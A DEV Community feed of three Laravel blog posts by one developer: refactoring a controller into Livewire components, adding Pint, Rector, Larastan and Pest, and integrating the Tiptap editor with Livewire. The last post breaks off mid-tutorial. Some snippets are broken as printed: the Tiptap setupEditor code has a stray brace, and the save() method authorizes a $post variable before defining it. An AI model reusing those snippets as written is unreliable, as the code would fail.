DEV Community: Thanos Stantzouris

Late Night Refactors #2: Controller to Livewire Components

Thanos Stantzouris — Mon, 17 Feb 2025 22:20:48 +0000

Do you see outside? The day has fallen, and the dark hours have once again swallowed the sun! The time has come once more to heed that call, to roll up our sleeves and embark upon another Late Night Refactor adventure!! 🧙‍♂️

Dramatic much?

So yeah, back to the main program! In this Late Night Refactor (LNR) session, I'll be tackling a doozy of a controller and working to split it up into Livewire Components.
Now, generally speaking, a Laravel Controller should be lean and mean. Ideally, it should stick up to the 7 RESTful methods:

index
create
store
show
edit
update
destroy

But the controller I discovered, BlogController, had turned into what I affectionately call an "index mapper". I had created multiple index methods like:

indexCategoryPosts()
indexTagPosts()
indexUserFeedPosts()
indexUserPosts()
listAllCategories()
Oh, and show() snuck in there too!

At the time, it seemed like a clever approach - keep all those index-y things together under one roof. But as I revisited this code with fresh eyes, it became clear that this pattern had 2 main downsides:

Crowded Much?: By piling on the index methods ( and the show() method ), the controller had become bloated and harder to navigate. Each additional index method diluted the focus of the class.
Reusablen't: Tying multiple index queries to the BlogController made them harder to reuse in other contexts. What if I needed that snazzy indexUserFeedPosts() logic somewhere else?

Livewire to the rescue! 💪

PostShowComponent

At first, I decided on a folder structure that would go with a somewhat Domain Driven like approach, since Sudorealm is a Blog Platform, I would separate the Livewire Components into two Domains, Blog and Dashboard, therefore the show() method of the Controller would now transform to:

App\Http\Livewire\Blog\Post\PostShowComponent.php

This component and the equivalent view will be created by running this command:

php artisan livewire:make Blog/Post/PostShowComponent // or sail artisan ...

Before blindly copy-pasting the show() method's code into the component I took a step back to thoroughly examine the method's contents. I wanted to ensure that I fully understood and agreed with all the logic it contained.
And shocker! I didn't! Let me show you why:

public function show(Post $post) 💥 // Route model binding ignored
{
    $post = Post::query() 💥 // Quering same Post Twice
        ->with('category') 💥 //I can write one with instead of 4 
        ->with('user') 💥 // Loading the entire user model
        ->with('tags')
        ->with(['affiliates' => function ($query): void {
            $query->byActivated()->with('affiliate_category');
        }])
        ->addSelect([
            'crowned_by_user' => Crown::select('id')
                ->where('user_id', auth()->id())
                ->whereColumn('post_id', 'posts.id'),
        ])
        ->withCount('crowns', 'affiliates')
        ->findOrFail($post->id);

    💥 // This entire logic belongs in the PostPolicy 
    if ($post->isPublished || $post->user_id === Auth::id()) { 
        return view('blog.show', [
            'post' => $post,
        ]);
    }
    abort('403', 'We are not ready yet for you to see this. coming soon😋');

    return null; 💥 // This will never run, it's unreachable code
}

Therefore I see that I'll have to continue with the following actions:

Create PostPolicy@view method with logic for when a user can view a post.
Pass new logic to component, and frontend to post-show-component.blade.php
Delete unused files:
- PostShow.php
- post-show.blade.php
- show.blade.php Fun fact: this file was already calling PostShow.php Livewire component. We're just climbing the abstraction ladder a bit.

Refactor Result

By implementing the Livewire Layout Components I can call the component from web.php like so:

web.php

// Before
-   Route::get('/{post:slug}', [BlogController::class, 'show'])->name('post.show');

//After
+   Route::get('/{slug}', PostShowComponent::class)->name('post.show');

PostPolicy.php

    public function view(?User $user, Post $post): bool
    {
        if ($post->isPublished) {
            return true;
        }

        return $user !== null && $post->user_id === $user->id;
    }

Here, I ensure a user can view a post if it's published or the user is the author. Hmm... here a function like

$post->isAuthoredBy($user->id)

would be nice. 🤔 See? This is why I am doing this! 🤓

PostShowComponent.php

<?php

declare(strict_types=1);

namespace App\Http\Livewire\Blog\Post;

use App\Exceptions\CrownNotFoundException;
use App\Exceptions\DuplicateCrownException;
use App\Models\Crown;
use App\Models\Post;
use Illuminate\Http\RedirectResponse;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Log;
use Livewire\Attributes\Layout;
use Livewire\Component;

#[Layout('layouts.guest', [
    'leftSidebar' => false,
    'rightSidebar' => true,
    'hideHeader' => false,
])]
class PostShowComponent extends Component
{
    public Post $post;

    public bool $hasCrownedPost;

    public function mount(string $slug): void
    {
        $this->post = Post::query()
            ->addSelect([
                'crowned_by_user' => Crown::select('id')
                    ->where('user_id', auth()->id())
                    ->whereColumn('post_id', 'posts.id'),
            ])
            ->where('slug', $slug)->firstOrFail();

        $this->authorize('view', $this->post);

        $this->post->load([
            'category',
            'user' => fn ($query) => $query
                ->select('id', 'slug', 'name', 'email', 'avatar', 'background_id')
                ->with('background'),
            'tags',
            'affiliates' => fn ($query) => $query
                ->byActivated()
                ->with('affiliate_category'),
        ])
            ->loadCount('crowns', 'affiliates');

        $this->hasCrownedPost = (bool) $this->post->crowned_by_user;
    }

    public function crown(): ?RedirectResponse
    {
        if (! Auth::check()) {
            return $this->redirect(route('login'));
        }

        try {
            if ($this->hasCrownedPost) {
                $this->post->removeCrown(Auth::user());
            } else {
                $this->post->crown(Auth::user());
            }
            $this->hasCrownedPost = ! $this->hasCrownedPost;
        } catch (CrownNotFoundException|DuplicateCrownException $e) {
            Log::error($e->getMessage());
        }

        return null;
    }
}

The refactored code improves the original in several ways:

Eliminates multiple queries for the same Post model
Eager loads relationships in one optimized load() call
Selects only needed fields from related models to avoid excess data
Properly uses authorization via the PostPolicy
Loads additional relationships only after authorization check
No more unreachable code

These improvements result in more efficient queries, better separation of concerns, and cleaner, more maintainable code. Livewire's use of PHP attributes for layouts is a fresh approach. However, this component can still be improved with:

Consider caching for better performance
Decoupling crown functionality
Introducing Policy for the Crowning
Refactoring with Query Object pattern

But those are tasks for another Late Night Refactor session. The current changes are a solid step forward in maintainability and organization.

Blog Index Pages

In Sudorealm, I've been wrestling with a few blog section pages that index posts: Index by Category, Index by Tag, and Index by User (the Main Index will live to fight another day).

Here's the thing, these pages are all being called by the same controller, which violates everything I hold holy in software development! I'm not even sure what past-me was thinking, but hey, what can I say? We all have those moments, right?

The Controller was looking something like this:

class BlogController extends Controller
{
    public function indexCategoryPosts(Category $category)
    {
        return view('blog.category.index', [
            'category' => $category,
        ]);
    }

    public function indexTagPosts(Tag $tag)
    {
        return view('blog.tag.index', [
            'tag' => $tag,
        ]);
    }
 // And so the nightmare continues...

Now, the code itself isn't bad, it's the architecture that's giving me a migraine. So here's the clean, organized structure I'm moving towards:

app/Http/Livewire/Blog
├── Category
│   └── CategoryPostIndexComponent.php
├── Tag
│   └── TagPostIndexComponent.php
├── User
│   └── UserPostIndexComponent.php

This new structure follows clean naming conventions and creates a logical organization that makes sense. It's much easier to build a mental model of the project now, and as a bonus, debugbar becomes way more useful when using livewire components!

The actions I will be taking for all of these functions are:

Create the new Livewire components.
Replace the old web routes with the new ones and add better restful names to them.
Add wire:navigate to all the links that call these routes.
Delete the old, now unused, blade files.

I'll walk you through refactoring one of these components, worry not! I won't make you sit through all of them. They follow the same pattern, and I respect your time (and sanity) too much for that mindless repetition!

Refactor Result

web.php

Route::name('category.')->group(function () {

// Before
-  Route::get('/category/{category:slug}', [BlogController::class, 'indexCategoryPosts'])->name('index');

//After
+  Route::get('realm/{slug}', CategoryPostIndexComponent::class)->name('post.index');
// now the name is category.post.index 🧼✨

Now the web.php serves as a proper roadmap for new developers, giving them a clearer picture of how the project is structured, the way routing files were always meant to be!

I also took the executive decision to rename category URLs to realms. Will this destroy my SEO? Probably. Do I care? A little. Is it what it is? You bet it is! Moving on. 😎

CategoryPostIndexComponent.php

sail artisan livewire:make Blog/Category/CategoryPostIndexComponent

This name might look like a mouthful, but there's a method to the madness here:

Category tells us exactly what model we're dealing with.
Post shows we're handling blog posts.
Index indicates it's a listing page.
Component because, well, it's a Livewire component!

<?php

declare(strict_types=1);

namespace App\Http\Livewire\Blog\Category;

use App\Models\Category;
use Livewire\Attributes\Layout;
use Livewire\Component;

#[Layout('layouts.guest', [
    'leftSidebar' => true,
    'rightSidebar' => true,
    'hideHeader' => false,
])]
class CategoryPostIndexComponent extends Component
{
    public Category $category;

    public function mount(string $slug): void
    {
        $this->category = Category::query()
            ->where('slug', $slug)
            ->firstOrFail();
    }
}

This is a pretty straightforward Livewire component, as you can see, nothing groundbreaking happens in the code itself. But what we get in return is sweet: a cleaner codebase, plus we can leverage wire:navigate to give Sudorealm that smooth SPA feel when users bounce between pages. Is this a feature-driven refactor? Well, kind of! If wire:navigate wasn't in the picture, I probably would've just gone with invokable controllers and called it a day. But sometimes new features push us to rethink our architecture, and that's not a bad thing at all!

📝 Sidenote: I will surely cache queries like this forever. They don't have to be called at every click.

There's another late-night refactor lurking in the shadows, 🥷 those frequent queries aren't going to cache themselves! But that's a story for another nocturnal coding session. 😏

Finishing Up

That was a refreshing late-night refactoring session, not only did I get to clean up SudorealmSudorealm's codebase, but I also took another step towards the great Livewireazation of the project. Sometimes the best refactors are the ones that spark joy while pushing you forward!

Key takeaways:

🦋 Small Decisions, Big Impact: Breaking down the monolithic BlogController into focused Livewire components made the codebase cleaner and more maintainable.
📝 Descriptive Naming Pays Off: Taking the time to create meaningful, descriptive component names might feel verbose, but it makes the codebase self-documenting. Your 3 AM coding self will thank you!
🗺️ Routes as Documentation: Clean routing files serve as a natural map of your application.
🎯 Progressive Enhancement: Not every improvement needs to happen at once. While this refactor tackled component organization, we identified future opportunities (like query caching) for another late-night session.
👷‍♂️ 🔦 Code Spelunking Uncovers Hidden Treasures (and Bugs): Duplicate queries lurking in dark corners, unnecessarily loaded models gathering dust, unreachable code frozen in time, and authorization logic begging to be moved to proper policies. Sometimes the best way to find bugs is to strap on your spelunking gear and explore your old code caves!

The entire saga of this late-night refactor will be available in the branch lnr2-controllers-to-livewire-components once I open-source the project. All future Late Night Refactor sessions will follow this naming pattern, so you can trace my struggles, victories, and occasional 1 to 3 AM coding revelations. Stay tuned for more late-night code MMA fighting! 🥊

Late Night Refactors #1: Composer Packages

Thanos Stantzouris — Thu, 06 Feb 2025 18:44:33 +0000

This is the start of something I have never done before!
I welcome you all to the beginning of my first blog post series: Late Night Refactors 🎉🥳

In this series of X blog posts, I will share the great journey of refactoring (duh...) **Sudorealm* from scratch. I'll take it apart step by step and improve it from the ground up.

Sudorealm is a side project, so mainly, I am coding it during the times when the sun is no longer shining, and these are also the times that I'll be writing these reactors.

Stay with me now! Many were the times that I rewrote Sudorealm so that it could accommodate better features, better technologies, and whatnot. But this time is different! This time, I am bringing you along for the ride. I’ll share everything so you can either apply it to your own projects or maybe even spot a refactor I didn’t think of! HAHA!

Jokes aside, the real goal here is to build a sustainable, future-proof codebase, one that others can contribute to and help maintain. In short... I’m open-sourcing Sudorealm! There, I said it! I’m finally unleashing my monster upon the world! After the final refactor, of course. ❤️ Hopefully, we’ll both learn something in the process!

Ready! Set! Go! 💥

Alright, the first thing I need to refactor is the very foundation of how I write code... duun dunduuun!

I need to ensure that Sudorealm stands on a clean, consistent, and maintainable codebase. That means adopting the right tools to improve code quality, enforce standards, and catch potential issues before they become nightmares on Realm Street 👻.

This is where Pint, Rector, Larastan, and Pest come into play.

🖌 Pint will keep my code style clean and consistent, so I don’t waste time formatting manually.
🛠 Rector will help automate code upgrades and refactors, making my life easier as the project evolves.
🔍 Larastan will act as my strict type-checking guardian, catching subtle bugs that I’d otherwise miss.
🧪 Pest will bring modern, expressive, and Laravel-friendly testing to ensure everything works as expected.

By setting up these tools from the start, I’m laying a strong foundation for future development—because a good refactor isn’t just about changing code, it’s about writing better code.

Now, let’s get our hands dirty and start transforming Sudorealm!

Laravel Upgrade

Before diving headfirst into refactoring, the first step was upgrading Sudorealm to the latest version of Laravel 11 at the time. Why? Because a proper refactor isn’t just about cleaning up code, it’s about keeping up. Staying on the latest version ensures:

Security 🔒 – Outdated software is a hacker’s playground. Keeping Laravel up to date means patching vulnerabilities before they become real threats.
New Features ✨ – The ecosystem moves forward, and so do the best packages. Sticking to an old version means missing out on powerful new features and improvements.

A neglected codebase is like an abandoned house, it doesn’t fall apart overnight, but one day, you’ll wake up to find it unlivable.
~ Thanos Stantzouris

Ok, now, let’s get to work! 💻🔥

How it went

It wasn't as easy as I thought, I had to tackle some breaking changes here and there but thankfully Laravel has a pretty neat upgrade guide to follow through.
The main headache, though, was the sync between already installed packages. I needed to find and upgrade all the latest versions of the packages I use. ChatGPT really helped with this process. Sometimes, the composer errors can be a bit scary, but ChatGPT fearlessly explains the steps you have to take clearly.

Weirdly, though, after I successfully ran composer update, I couldn't find any bugs in the app. Oh well. On to the next one!

Keeping Code Consistent with Pint

My biggest challenge while coding Sudorealm was dealing with code inconsistencies between features, caused by the long breaks I took between development sessions. I know you can relate to this! This is where laravel/pint 🍺 comes to play.

What is Pint?

Pint is an opinionated PHP code style fixer for Laravel applications, built on top of PHP-CS-Fixer but with Laravel community standards in mind.
It automatically formats your PHP code based on Laravel’s default coding style. It helps enforce clean, readable, and maintainable code without the need to manually fix style issues.

Installation

composer require laravel/pint --dev

You can see the entire documentation, but I am gonna present to you how I'm about to be using it:

Inspecting code

./vendor/bin/pint --test

You see, since I am installing pint to the project now there will be like a gazillion fixes if I run it immediately. I want to be able to keep track of the files I refactor so it's preferable for me to only inspect the code in chunks, like this for example:

./vendor/bin/pint --test app/Http/Controllers

Setup

I am using a strict pint setup for my project. In general, I want to take my coding skills to a lower level Go, C, Rust, as time passes by, so I believe it is good to be strict with my PHP coding.

{
    "preset": "laravel",
    "rules": {
        "array_push": true,
        "backtick_to_shell_exec": true,
        "date_time_immutable": true,
        "declare_strict_types": true,
        "lowercase_keywords": true,
        "lowercase_static_reference": true,
        "final_public_method_for_abstract_class": true,
        "fully_qualified_strict_types": true,
        "global_namespace_import": {
            "import_classes": true,
            "import_constants": true,
            "import_functions": true
        },
        "mb_str_functions": true,
        "modernize_types_casting": true,
        "new_with_parentheses": false,
        "no_superfluous_elseif": true,
        "no_useless_else": true,
        "no_multiple_statements_per_line": true,
        "ordered_class_elements": {
            "order": [
                "use_trait",
                "case",
                "constant",
                "constant_public",
                "constant_protected",
                "constant_private",
                "property_public",
                "property_protected",
                "property_private",
                "construct",
                "destruct",
                "magic",
                "phpunit",
                "method_abstract",
                "method_public_static",
                "method_public",
                "method_protected_static",
                "method_protected",
                "method_private_static",
                "method_private"
            ],
            "sort_algorithm": "none"
        },
        "ordered_interfaces": true,
        "ordered_traits": true,
        "protected_to_private": true,
        "self_accessor": true,
        "self_static_accessor": true,
        "strict_comparison": true,
        "visibility_required": true
    }
}

Now look... this might come to bite me in the future... But let's worry about the future when it finally comes. Check out Pint Strict Presets and if you want to learn what each rule does. Well, I am not telling you... go find out here PHP Coding Standards Fixer

Styling Code

I will add this GitHub pre-commit hook so that pint can inspect and change the files that I 🤬 up.

 #!/bin/sh

 # Run Laravel Pint
 # This script will run Laravel Pint on newly staged PHP Files. 

 files=$(git diff --cached --name-only --diff-filter=AMCR | grep "\.php$")
 if echo "$files" | grep --quiet "\.php$"; then
     echo "Running Laravel Pint..."
     ./vendor/bin/pint --dirty
 fi

With this hook pint styles only the files that are about to be committed. So the process of a push would be like this.

 - git add . # stage all the files that you changed
 - git commit -m 'feature: best feature ever bro!' # commit the files
 # if pint fixes files. 
 - git commit --amend --no-edit # commit pint changes to previous commit
 - git push # push to prod and break it

Why do I use Pint in my project?

Zero configuration required – It works out of the box with Laravel's style guide.

Automation– No more manually fixing indentation, spaces, or alignment.

Better collaboration – Ensures consistent formatting across all team members.

Integration-friendly – Works well with Git hooks and CI/CD pipelines.

Goodbye wasting time on manual formatting.

Automating Code Upgrades with Rector

One of the biggest pains in maintaining Sudorealm, or any project, to be honest, is keeping the codebase up to date, especially when upgrading versions or adopting new best practices. This is where Rector comes into play.

What is Rector?

Rector is an automated refactoring tool for PHP that can upgrade your codebase, apply modern best practices, and even transform legacy code with predefined rules. Instead of manually updating syntax or refactoring large chunks of code, Rector does the heavy lifting for you.

Installation

composer require rector/rector --dev

Setup

Following the rector docs I created a rector.php in my root directory and I inserted the following rules:

<?php

declare(strict_types=1);

use Rector\Config\RectorConfig;

return RectorConfig::configure()
    ->withPaths([
        __DIR__.'/app',
        __DIR__.'/bootstrap/app.php',
        __DIR__.'/database',
        __DIR__.'/public',
    ])
    ->withPreparedSets(
        deadCode: true,
        codeQuality: true,
        typeDeclarations: true,
        privatization: true,
        earlyReturn: true,
        strictBooleans: true,
    )
    ->withPhpSets();

Breaking It Down:

withPaths([...]): Tells Rector which parts of the project to scan and refactor. In this case:
The app/ directory (core application logic)
The bootstrap/app.php file (app setup)
The database/ directory (migrations, seeders, factories)
The public/ directory (entry point, assets, etc.)
withPreparedSets([...]): Activates predefined rule sets that help clean up and improve the codebase:
✅ Dead Code – Removes unused variables, methods, and classes.
✅ Code Quality – Applies general best practices for cleaner, more maintainable code.
✅ Type Declarations – Ensures type hints (int, string, etc.) are correctly applied.
✅ Privatization – Converts class properties and methods to private where possible.
✅ Early Return – Rewrites if conditions to reduce nesting and improve readability.
✅ Strict Booleans – Forces explicit true/false checks instead of loose comparisons.
withPhpSets(): Applies PHP version-specific upgrades to keep the code modern.

I ran ./vendor/bin/rector and I got changes like:

1) app/Listeners/User/AwardBadgeAfterUserVerified.php:34

    ---------- begin diff ----------
@@ @@
             $this->badgeAwardService->awardBadgesToUser($user, BadgeTypeEnum::USER);
         } else {
             Log::warning('Verified event user is not an instance of App\Models\User', [
-                'user_type' => get_class($user),
+                'user_type' => $user::class,
             ]);
         }
     }
    ----------- end diff -----------

How cool is that? Now I know that I can get the class from a model instance just by doing $modelVar::class.
I mean I, kinda, already knew that, but If I didn't, now I do... You get it... 😂

I can also do this:

./vendor/bin/rector --dry-run

and only view the changes that are about to be made. It may be better this way for now because I want to get my hands dirty so that I won't make the same mistakes again in the future. Does that make sense?

Maybe I'll add that command as well to the previous pre-commit hook and see the whole world burn whenever I am doing a new commit, maybe that way I'll force myself to do smaller commits.

Cool video from Nuno Maduro about rector: Why You Should Start Using Rector PHP Today

Why Use Rector in My Project?

Effortless Laravel Upgrades – Rector provides Laravel-specific rules to help migrate between framework versions with minimal manual work.

Consistent Refactoring – It enforces best practices and modern coding styles automatically.

Saves Time – No need to manually track and update deprecated code.

Highly Customizable – You can define your own set of refactoring rules to match your project’s needs.

So now not only do I have cool formatting, but I also have a coder buddy fixing up my stupid no-brain code and keeping it up to date with the latest standards! Yes pleaseeee! What's next?

Making Sure It All Works with Larastan

Automating refactoring with Rector ensures my code is modern and follows best practices, but that doesn’t mean it's error-free. Even small changes can introduce type mismatches, undefined properties, or incorrect method calls—issues that might not break the app immediately but could cause hard-to-debug failures later.

Installation

composer require --dev "larastan/larastan:^3.0"

Setup

Then, the docs tell us to create a phpstan.neon file in the root of your application. This file defines the analysis level and rules Larastan should follow. Place it in your project root:

Mine looks like this:

includes:
    - vendor/larastan/larastan/extension.neon
    - vendor/nesbot/carbon/extension.neon

parameters:

    paths:
        - app/

    # The level 9 is the highest level
    level: 2

I am going with level: 2 because I want to work my way up to 9. And I am pretty sure that 9 is an overkill. 🤓

./vendor/bin/phpstan analyse #--memory-limit=2G

Even with level:2 I got 70 errors...

Why Use Larastan in My Project?

Works with Existing Code – No need to rewrite everything; just start analyzing and improving step by step.

Detects Logical Errors – Finds undefined properties, incorrect method calls, wrong return types, etc.

Understands Laravel's magic – Knows about Laravel methods, facades, container resolution, etc.

Can create custom rules – When I face the need to enforce a specific rule in my codebase, I can create a custom rule that checks that.

You can also follow the Readme to learn more about Larastan.

Rector and Larastan - B.F.Fs.

While Rector improves your code automatically, Larastan ensures your code is correct. They complement each other perfectly, and using both saves time, reduces bugs, and makes upgrading Sudorealm smoother.

From Static Analysis to Real-World Testing

While Larastan will help me significantly catch potential issues before runtime, it doesn't prove that my app is in fact working as I want it to. I mean, look! It may work and load completely fine, with no bugs, server errors and all... But, there is a possibility that my business logic might break from these automated changes! No program will ever be able to comprehend exactly my business logic, even if it's the simplest one.

Static analysis can only guess potential failures based on type mismatches and method signatures. To be truly confident in my code, I need real tests that simulate user interactions, validate business logic, and check for regressions.

That’s why the next step in my workflow is Pest—a modern, elegant testing framework for Laravel built by the legend, Nuno Maduro. Let’s talk about how testing ensures my app isn’t just "correct" in theory, but actually works as expected.

Pest

I left this for the end because, in my opinion, it's the most important addition to the toolbelt.

Installation

composer remove phpunit/phpunit
composer require pestphp/pest --dev --with-all-dependencies

./vendor/bin/pest --init

Finally, you can run your tests by executing the pest command.

./vendor/bin/pest

There is also a way to migrate all your tests from PHPUnit to Pest. But I have ZERO tests... so... 😅

Why Choose Pest over PHPUnit

Firstly, let’s address the elephant in the room, Pest is PHPUnit. It’s not a replacement but rather a wrapper that enhances the developer experience. Asking "Why Pest over PHPUnit?" is similar to asking "Why Laravel over vanilla PHP?", both provide a smoother, more elegant way to achieve the same results.

Pest was designed from the ground up for simplicity and ease of use, offering a modern, expressive, and fun way to write tests in PHP. It removes the clutter of traditional PHPUnit syntax, making tests feel more natural and readable.

Cleaner, More Expressive Syntax
Pest simplifies the verbosity of PHPUnit, reducing boilerplate. Instead of writing:

//this function
public function test_example()
{
    $this->assertTrue(true);
}

//can be written like this in Pest
test('example')->assertTrue(true);

This is not a very real world. But it's just an example of the verbosity and power that Pest gives.

Built for Laravel

Pest was created by Nuno Maduro, a core Laravel team member. As a result, it has first-class support for Laravel testing, with features like:

API testing
Model factories
Artisan commands
Livewire support ( main differentiator for me )

Pest Plugins for Laravel-Specific Features

Pest has some crazy cool plugins that gives us tools to make our life easier:

composer require pestphp/pest-plugin-laravel --dev

now I can create tests like:

php artisan pest:test UsersTest

And many more helpful commands that I'll surely discover during this crazy refactor odyssey.

Pest even provides official plugins to make Livewire testing even smoother:

composer require pestphp/pest-plugin-livewire --dev

So yeah, these are the main reasons why I went with Pest, even though my team works with PHPUnit. Who knows, maybe in the future, I'll manage to convince them to change to Pest... Or I'll figure out that PHPUnit was the best choice after all! 🫣

Fun Fact: In LaraconEU 25, I met both the creators of PHPUnit and Pest 😅

Learn more about packages

These packages surely have some overhead, setup, and getting used to but I believe they are the barebones of this refactor, cause they will be the guide towards a safer and more structured project.

Conclusion

To wrap things up, I want to reiterate why I started this refactor series. After attending Laracon EU, I realized the importance of sharing my code, not just to help others and expand the possibilities of open-source development, but also to collaborate more and continue learning myself.

I don’t, by any means, claim to be the best developer I can be yet, nor that this refactor is some kind of holy grail of software development, this is all part of the journey to improve. By putting my work out there, I hope to contribute, grow, and refine my skills alongside the community.

In the future, I know I’ll return to Sudorealm’s codebase and spot new things to improve, and that thought excites me! It’ll be proof that I’ve grown as a developer. But next time, there will be a difference: the project will be open-source, exposed to the sharp, vulture-like eyes of all you insanely talented coders out there.
So please bear with me, hopefully, there will be people out there who will get something out of this lunacy that possesses me.

I'd like to end this article with my favorite photo of LaraconEU 25 that essentially sparked the fire in me to go through with this series of articles!

Catch this part of the talk here.
Thank you Aaron Francis 🙏

🚀 Spread the Love & Support the Realm

If you enjoyed this post and want to help improve the project, consider these quick ways to contribute:

🛍 Affiliate Treasures Below – Check the list of cool gadgets below 👀
☕️ Coffee Driven Development: We are nothing but coffee-to-code machines! BuyMeACoffee

Spread the Love

👑 Crown & Share: If you found value in this post, please give it a crown and share it with your fellow coder/hacker enthusiasts. Spreading knowledge is what Sudorealm is all about! Fun fact the Author with the most crowns inside a realm will be crowned as the Realm King! 🤴

🆇 X Shoutout: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you! d3adR1nger on X

💬 Join our Discord Server: Join the Sudorealm Discord Server

Thanks for being a part of our realm. Every bit of support propels our community to new horizons. Until next time, keep exploring!

Using Tiptap Rich Text Editor with Livewire

Thanos Stantzouris — Tue, 24 Sep 2024 06:44:45 +0000

I’ve always had a tough time with rich text editors, not because they couldn’t do the job, but because getting them to work smoothly with Livewire has always been a challenge for me. I never really figured out how to make the integration feel clean, especially with my limited IQ 😅 and... JavaScript knowledge.

But yesterday I discovered the Tiptap rich text editor and I’m thrilled because, believe it or not, it actually supports Livewire integration out of the box! No more duct-tape solutions or spending hours untangling JavaScript spaghetti code. For the first time, a rich text editor didn’t make me want to pull my hair out. In fact, I got it working on the first try. Yeah, I know, I almost didn’t believe it myself. I didn’t even have to question my entire career as a developer this time!
And as always, I must share my newfound knowledge with you! 🤓 Let's kick things off!

What we are building
Introduction to Tiptap
- Install Tiptap
Livewire integration
- Step 1: Create the Livewire Component
- Step 2: Setup the Livewire Component
Setup the Blade Component
Markdown Support
Toolbar Work and Customization
- Styling the Editor with Tailwind CSS
- Editor Commands for Text Formatting
Styling Time
Link Support
Conclusion

What we are building

For this example we are going to create a minimal rich text editor blade component that should "live" under a livewire component for, let's say, saving a post. And it's going to look like this

We will mainly focus on a Laravel 11 - Livewire v3 TALL project so if you are outdated, well... laravel shift is your friend!

Introduction to Tiptap

I won't go into much detail here cause you can find anything you want about the Tiptap Rich Text Editor by browsing their website. What I want to highlight about this rich text editor though is the following:

Create exactly the rich text editor you want out of customizable building blocks. Tiptap comes with sensible defaults, a lot of extensions, and a friendly API to customize every aspect. Tiptap offers both open-source extensions and Pro extensions available through a Tiptap account.

How cool is that guys? This little paragraph is what ignited the fire of curiosity in me and got me to explore further.

Install Tiptap

Let's begin with the setup!

npm install alpinejs @tiptap/core @tiptap/pm @tiptap/starter-kit

The starter-kit package includes the most common extensions to get started quickly. No need to install each one of them individually. Later in the example though, we will install some extra standalone extensions and you'll see what I am talking about.

Next up navigate to your app.js file and include the following lines:

import './bootstrap'; // should already exist do not paste that :P 

import { Editor } from '@tiptap/core'
import StarterKit from '@tiptap/starter-kit'

// resources/app.js
window.setupEditor = function (content) {
    let editor

    return {
      content: content,

      init(element) {
        editor = new Editor({
          element: element,
          },
          extensions: [StarterKit],
          content: this.content,
          onUpdate: ({ editor }) => {
            this.content = editor.getHTML();
          },
        })

        this.editor = editor;

        this.$watch('content', (content) => {
          // If the new content matches TipTap's then we just skip.
          if (content === editor.getHTML()) return

          editor.commands.setContent(content, false)
        });
        editor.commands.setContent(this.content, false);
      },
    }
  }

A few words about $watch. Well, you can "watch" a component property using the $watch magic method. So in our case, whenever the content property changes we fire a callback.

Now this code is ready to listen to and connect with Livewire. Does that make sense? 😅
Jump ahead and see how we use it from inside a blade component. Setup the blade component

Livewire integration

Let's break the Livewire implementation into steps—because who doesn’t love making complex things a bit more painful, right? But seriously, taking it step by step will help us actually understand what’s going on. We'll go from setting up the components to wrangling the data flow between the frontend and backend, all while making sure the rich text editor behaves. This way, we can avoid that 'what is even happening?' moment later on.

Step 1: Create the Livewire Component

I’m sure you’re familiar with how everything in Livewire is built as a component, so I won’t dive into the details of that. Instead, let's get straight into creating a Livewire component named PostForm:

#or sail artisan
php artisan make:livewire Post/PostForm

This will create two different files:

A class: app/Livewire/Post/PostForm.php
A livewire frontend component: resources/views/livewire/post/post-form

I like grouping my Livewire components under the model they serve because I didn’t do that in the past, and I deeply regretted it.

Step 2: Setup the Livewire Component

Let's start with setting down the validation of our model!

class PostForm extends Component
{
    #[Validate(
        [
            'post.name' => ['required', 'min:3', 'max:100'],
            'post.body' => ['required'],
        ],
        message: [
            'post.name.required' => 'A post without a name... That works!',
            'post.name.min' => 'Too small... That\'s what she said!',
            'post.name.max' => 'Too large!!! That\'s what she didn\'t say',
        ]
    )]

    public $post; # The value that's going to be entangled

I've also included some messages, to spice up the app a bit 🌶️ !

Now let's create a simple showcase of how to save our model!

public function save()
{
    $validated = $this->validate();

    # Security tip. Always add a policy to authenticate the create/update functionality. 
    $this->authorize('updateOrCreate', $post); 

    $post = Post::updateOrCreate(
        ['id' => $this->post['id'] ?? null],
        [
            'name' => $validated['post']['name'],
            'user_id' => Auth::id(),
            'instructions' => $validated['post']['body'] ?? null,
        ]
    );

    # Redirect to the same page, but on the edit
    $this->redirect(route('posts.form', $post), navigate: true);

Here I’m handling both the create and update functions for the model in a single file. You don’t have to do this—I’m just being lazy and avoiding the hassle of managing two files. Efficiency, right? 🫠

For the Frontend setup now we'll add a minimal form that will fire our save method when submitted:

<form wire:submit='save'>
    <div>
        <x-form.input.editor wire:model="post.body"></x-form.input.editor>
    </div>
    <textarea class="w-full bg-slate-900" wire:model='post.body' cols="30" rows="10"></textarea>
</form>

The textarea should be deleted after we have finalized the example. I am adding it at this point to see if the editor works as expected!

Setup the Blade Component

This Blade component handles all the logic for the Tiptap Rich Text Editor and will be named tiptap.blade.php. I like to keep things organized, so it’ll go under resources/views/components/form/input/.

It may seem a bit over the top, but this simple system has saved me from the headache of revisiting old projects. Having cleared that out, now paste the following code:

<div x-data="setupEditor(
    $wire.entangle('{{ $attributes->wire('model')->value() }}')
)" x-init="() => init($refs.editor)" wire:ignore {{ $attributes->whereDoesntStartWith('wire:model') }}>
    <div x-ref="editor"></div>
</div>

This snippet needs some explanation:

x-data="setupEditor(...)": Initializes an Alpine.js component using the setupEditor function. This function is passed a two-way data binding ($wire.entangle) to synchronize the Tiptap editor's state with the Livewire model. Remember what setupEditor is doing. Install Tiptap.
$wire.entangle('{{ $attributes->wire('model')->value() }}'): Binds the editor's data with the Livewire model, ensuring changes made in the editor are automatically synced with the server.
x-init="() => init($refs.editor)": On initialization, the init function is called, passing the reference to the editor DOM element ($refs.editor), which initializes the Tiptap editor.
wire:ignore: Instructs Livewire to ignore this particular DOM element, preventing Livewire from re-rendering the Tiptap editor’s DOM when it updates other parts of the page.
$attributes->whereDoesntStartWith('wire:model'): Ensures that any attribute starting with wire:model is excluded, so it doesn't interfere with the custom bindings and functionality of the component.
<div x-ref="editor"></div>: Creates a reference for the editor (x-ref="editor") to allow Alpine.js to target this specific element for initializing the Tiptap editor.

Having done all that we should have this result on our page.

You see, this blew my mind! The result is incredibly raw and flexible, giving us full control to customize and add functionalities as we need. You’ll see exactly what I mean as we continue with the example, where we’ll dive into customizations and feature enhancements.

Markdown support

As I’m sure you’ve noticed, Tiptap by default transforms our text into HTML, which I’m personally not a big fan of. Markdown output, though—that I like! Thanks to aguingand though we can easily include markdown support to our tiptap editor. Let's follow the instructions of tiptap-markdown repo.

Install the extension package

npm install tiptap-markdown

Update our app.js file like so

